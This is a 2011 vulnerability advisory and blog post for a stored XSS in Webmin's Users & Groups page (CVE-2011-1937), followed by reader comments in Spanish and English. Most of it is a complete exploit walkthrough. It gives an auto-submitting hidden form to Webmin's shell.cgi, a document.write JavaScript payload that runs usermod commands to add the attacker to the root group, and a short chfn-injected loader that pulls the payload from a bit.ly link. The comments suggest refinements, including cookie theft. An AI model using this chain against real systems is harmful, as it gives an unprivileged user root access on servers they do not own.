Information
——————–
Name : XSS vulnerability in Webmin
Software : All versions prior to and including 1.540 are affected.
Vendor Hompeage : http://www.webmin.com
Vulnerability Type : Cross-Site Scripting
IDs: CVE-2011-1937 BID-47558
Severity : Medium
Researcher : Javier Bassi <javierbassi [at] gmail [dot] com>
Description
——————
Webmin is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more.
https://secure.wikimedia.org/wikipedia/en/wiki/Webmin
Details
——————-
Webmin is affected by a XSS vulnerability in all versions prior to and including 1.540.
Webmin fails to sanitize $real in useradmin/index.cgi. $real is the “Full Name” in the finger information of the user. useradmin/index.cgi is the control panel of the “Users & Groups” section in webmin.
An attacker that has a normal user on the victim’s machine could be able to change his Full Name with chfn command, inject XSS and execute commands as root.
Timeline:
——————-
2011.04.24 – announced at my site/informed developers/disclosed at my site.
Solution:
——————-
wait for updates.
Developing a exploit:
——————-
With Webmin you can execute shell commands and the only security measure Webmin has is checking the Referer in the HTTP headers. So we can’t use <iframe>, but we can bypass this protection by injecting a code that execute a Javascript file that prints a form that autosubmits itself to the Webmin’s shell.cgi and execute mutiple commands in the format command1;command2;…;commandn
So XSS–>.js–>form–>autosubmit–>shell.cgi
The injected code will be displayed inside a form, so we need to close the original form first with </form>.
The shell/index.cgi form is the next one:
</form><form class=’ui_form’ style=”visibility:hidden” action=’https://zion:10000/shell/index.cgi’ method=post enctype=multipart/form-data >
<input class=’ui_submit’ type=submit value=”Execute command:”>
<input class=’ui_textbox’type=hidden name=”cmd” value=”" size=50 style=’width:100%’></td>
<input class=’ui_submit’ type=submit name=”clear” value=”Clear history”>
<input class=’ui_hidden’ type=hidden name=”pwd” value=”/root”>
<input class=’ui_hidden’ type=hidden name=”history” value=”">
<input class=’ui_hidden’ type=hidden name=”previous” value=”find /usr -name sftp-server”>
<input class=’ui_hidden’ type=hidden name=”previous” value=”echo /usr/lib/sftp-server >> /etc/shells”>
<input class=’ui_hidden’ type=hidden name=”previous” value=”cat /etc/shells”>
<input class=’ui_hidden’ type=hidden name=”previous” value=”find /usr/lib -name sftp-server”>
<input class=’ui_hidden’ type=hidden name=”previous” value=”echo /usr/lib/openssh/sftp-server >> /etc/shells”>
<input class=’ui_submit’ type=submit name=”doprev” value=”Execute previous command”>
<select class=’ui_select’ name=”pcmd” ><option value=”echo /usr/lib/openssh/sftp-server >> /etc/shells” >echo /usr/lib/openssh/sftp-server >> /etc/shells
<option value=”find /usr/lib -name sftp-server” >find /usr/lib -name sftp-server
<option value=”cat /etc/shells” >cat /etc/shells
<option value=”echo /usr/lib/sftp-server >> /etc/shells” >echo /usr/lib/sftp-server >> /etc/shells
<option value=”find /usr -name sftp-server” >find /usr -name sftp-server
</select><input type=button name=movecmd value=’Edit previous’ onClick=’cmd.value = pcmd.options[pcmd.selectedIndex].value’>
<input class=’ui_submit’ type=submit name=”clearcmds” value=”Clear commands”>
</form>
We use Javascript to autosubmit it. We add id=”lala” in form tag and also we add the next script at the end of the code:
<script>document.getElementById(‘lala’).submit();</script>
Commands go in ‘cmd’ input. A nice combination of commands could be:
chfn -f “safename” neo;usermod -G root neo;usermod -g root neo;killall -9 firefox-bin
So when the admim browse “Users & Groups” this will change the Full name of our user ‘neo’ back to a safe one, makes us root and kill firefox. The admin will think firefox crashed and when he goes back to “Users and Groups” in Webmin it will not crash again beause we already changed our full name.
To include commands in value=”" they must be html escaped: ( http://www.htmlescape.net/htmlescape_tool.html )
chfn -f "safename" neo;usermod -G root neo;usermod -g root neo;killall -9 firefox-bin
Now we need a .js file that prints the form + the autosubmit code.
(thx to http://accessify.com/tools-and-wizards/developer-tools/html-javascript-convertor/ )
It will look like this
document.write(“<\/form><form class=’ui_form’ style=\”visibility:hidden\” id=\”lala\” action=’https:\/\/zion:10000\/shell\/index.cgi’ method=post enctype=multipart\/form-data >”);
document.write(“<input class=’ui_submit’ type=submit value=\”Execute command:\”>”);
document.write(“<input class=’ui_textbox’type=hidden name=\”cmd\” value=\”chfn -f "safename" neo;usermod -G root neo;usermod -g root neo;killall -9 firefox-bin\” size=50 style=’width:100%’><\/td>”);
document.write(“<input class=’ui_submit’ type=submit name=\”clear\” value=\”Clear history\”>”);
document.write(“<input class=’ui_hidden’ type=hidden name=\”pwd\” value=\”\/root\”>”);
document.write(“<input class=’ui_hidden’ type=hidden name=\”history\” value=\”\”>”);
document.write(“<input class=’ui_hidden’ type=hidden name=\”previous\” value=\”find \/usr -name sftp-server\”>”);
document.write(“<input class=’ui_hidden’ type=hidden name=\”previous\” value=\”echo \/usr\/lib\/sftp-server >> \/etc\/shells\”>”);
document.write(“<input class=’ui_hidden’ type=hidden name=\”previous\” value=\”cat \/etc\/shells\”>”);
document.write(“<input class=’ui_hidden’ type=hidden name=\”previous\” value=\”find \/usr\/lib -name sftp-server\”>”);
document.write(“<input class=’ui_hidden’ type=hidden name=\”previous\” value=\”echo \/usr\/lib\/openssh\/sftp-server >> \/etc\/shells\”>”);
document.write(“<input class=’ui_submit’ type=submit name=\”doprev\” value=\”Execute previous command\”>”);
document.write(“<select class=’ui_select’ name=\”pcmd\” ><option value=\”echo \/usr\/lib\/openssh\/sftp-server >> \/etc\/shells\” >echo \/usr\/lib\/openssh\/sftp-server >> \/etc\/shells”);
document.write(“<option value=\”find \/usr\/lib -name sftp-server\” >find \/usr\/lib -name sftp-server”);
document.write(“<option value=\”cat \/etc\/shells\” >cat \/etc\/shells”);
document.write(“<option value=\”echo \/usr\/lib\/sftp-server >> \/etc\/shells\” >echo \/usr\/lib\/sftp-server >> \/etc\/shells”);
document.write(“<option value=\”find \/usr -name sftp-server\” >find \/usr -name sftp-server”);
document.write(“<\/select><input type=button name=movecmd value=’Edit previous’ onClick=’cmd.value = pcmd.options[pcmd.selectedIndex].value’>”);
document.write(“<input class=’ui_submit’ type=submit name=\”clearcmds\” value=\”Clear commands\”>”);
document.write(“<\/form><script>document.getElementById(‘lala’).submit();<\/script>”);
We have to upload the file somewhere and use a url shotener.
Now we need the script code that loads the .js file. Linux program chfn limits the Full name field to 80 chars and restrict the next three chars:
= (equal) , (comma) or : (colon)
The XSS code we can use is the next one (tested in FF4.0):
<script>document.write(“<script src\u003d//bit.ly/g2KmJP></scr”+”ipt>”)</script>
(this code bypass NoScript anti-XSS protection)
To perform the exploit we have login and change our finger information
neo@Zion ~ $ chfn
Password:
Changing the user information for neo
Enter the new value, or press ENTER for the default
Full Name [safename]: <script>document.write(“<script src\u003d//bit.ly/g2KmJP></scr”+”ipt>”)</script>
Room Number []:
Work Phone []:
Home Phone []:
neo@Zion ~ $
Finally we wait for the admin to invite us to join the root group
Other considerations
——————-
* The “//” in the XSS code is equal to “http://” only in the cases in which the code is placed in an http:// website. Because Webmin panel is https:// we need a URL shortener service with SSL and a valid certificate. That’s why I used bit.ly. The shortest ones like goo.gl and sr.pr don’t have valid SSL ceterfiticate so a warning will appear in most browsers when trying to access them via https asking us if we want to continue. In an exploit scenario we can’t use them.
* We will be able to modify our Full Name with chfn only if constant CHFN_RESTRICT is set to “frwh” in /etc/login.defs. This is the default config in Mandriva and Slackware but not in Debian which is set to “rwh”. I don’t know about other distros.
* With XSS we could have also steal admin’s cookie but it’s most likely that NoScript will block that attack. The reason why NS can’t block this one is because is not exactly a typical cross-domain XSS. This is HTML injection or permanent XSS.
Credits
——————-
Javier Bassi- http://javierb.com.ar
Special thanks to barbarianbob from sla.ckers.org for compressing the XSS from 92 chars to 80.
References
——————-
1. Advisory URL: http://javierb.com.ar/2011/04/24/xss-webmin-1-540/
2. Exploit in action: http://www.youtube.com/watch?v=CUO7JLIGUf0

Buenas, ante todo, buen trabajo.
Lo que comentas de hace un “killall -9 firefox-bin” solo afectaría a un administrador que abiera la web desde el mismo equipo que tiene el Webmin vulnerable.
Si tienes un Webmin en un server y te lanzan el exploit, si que podrías ver que el nombre de usuario es un script.
Por tanto, aunque está currado, creo que la mayor parte de los equipos con Webmin no tiene un interfaz grafico corriendo y por tanto ese “seguro” no funcionará siempre; yo cerraría la ventana.
Es verdad! Yo lo pensé desde mi situación pero muchos usan webmin para administrarlo remotamente. Y ahora que lo pienso no debe ser tan fácil cerrar un ventana con javascript en el FF4. Ya pasó mucho tiempo desde el window.close();. Hoy en día no creo el FF4 te deje cerrar una tab activa con JS. Capaz se podría tildar el browser haciendo que cargue mucho texto en el background, pero al mismo tiempo tenés que submitear el POST para hacerte root y entonces ya te fuiste de la página, y no podes iframe porque necesitas el Referer.
Sin duda no es escenario fácil. En esos casos capaz lo mejor sea intentar robar la cookie y cruzar los dedos para que el admin no tenga instalado el NoSricript jaja
Un redirect?
-En realidad, con aprovechar el script js para rescribir el contenido del campo donde aparece el FullName sería suficiente, y mucho más sutil que cerrar el navegador
Por lo demás, gran artículo, es uno de los mejores análisis de una vulnerabilidad que he visto desde hace algún tiempo.
English version:
In fact, for the problems commented above (people using webmin from a remote machine), it would be better to extend the js script and rewrite the contents of the field where the Full Name appears, and subtler by far
BTW, great writeup, one of the very best I’ve read in quite some time.
Thx!
El exploit deja mucho que desear. Cuando lo armé estaba convencido de que XMLHttpRequest() no mandaba el referer y por eso fue que printié un form en autosubmit con JS (algo muy cabeza). Ahora me fijé y XMLHttpRequest() si manda el referer, la confusión vino de que con esa función no se puede _cambiar_ el referer, porque lo prohíbe el standar.
http://www.w3.org/TR/XMLHttpRequest/#the-setrequestheader-method
Un buen exploit debería ir por ese lado.
[...] Se ha descubierto una vulnerabilidad en Webmin que podría permitir a un atacante [...]
[...] Se ha descubierto una vulnerabilidad en Webmin que podría permitir a un atacante [...]
Hi there! Cool post! But the site is loading incredibly slowly.
[...] historia termina con este post. Así que en este caso el Leechblock no me frenó de distraerme en la pc (ni en el browser). [...]
I work with things like this out here in Maltbach, Switzerland.
Passion in what you think and in putting it into words is
a true talent. Your article is informative, illuminating, and passion-driven,
all of which I seriously admire when it comes to this topic.